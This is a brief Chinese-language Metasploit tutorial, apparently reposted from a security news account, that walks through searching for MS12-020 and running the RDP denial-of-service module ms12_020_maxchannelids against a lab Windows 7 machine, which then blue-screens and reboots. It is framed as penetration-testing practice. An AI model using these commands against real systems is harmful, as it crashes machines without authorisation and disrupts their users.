工具:metasploit
靶机:windows 7 专业版 开启允许远程桌面连接(3389)
主要是复用已知的exploitcode(漏洞)代码对系统进行利用(渗透测试)
第一次使用建议在桌面直接打开,不要在终端上打开,因为首次使用该工具会初始化数据。
选项
banner 显示Logo
banner显示logo
search 关键字 利用search搜索可利用的漏洞
search ms12-020 搜索ms12-020漏洞
搜索漏洞
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 应用模块
利用漏洞
show options 显示选项
查看选项
set + 选项名
set rhost 被攻击者ip 例如:set rhost 192.168.10.110
run 对ip的ms12-020漏洞进行攻击
设置被攻击者ip
被攻击者蓝屏重启
靶机蓝屏重启
show auxiliary 显示辅助模块
安全优佳
http://news.secwk.com
长按识别左侧二维码,关注我们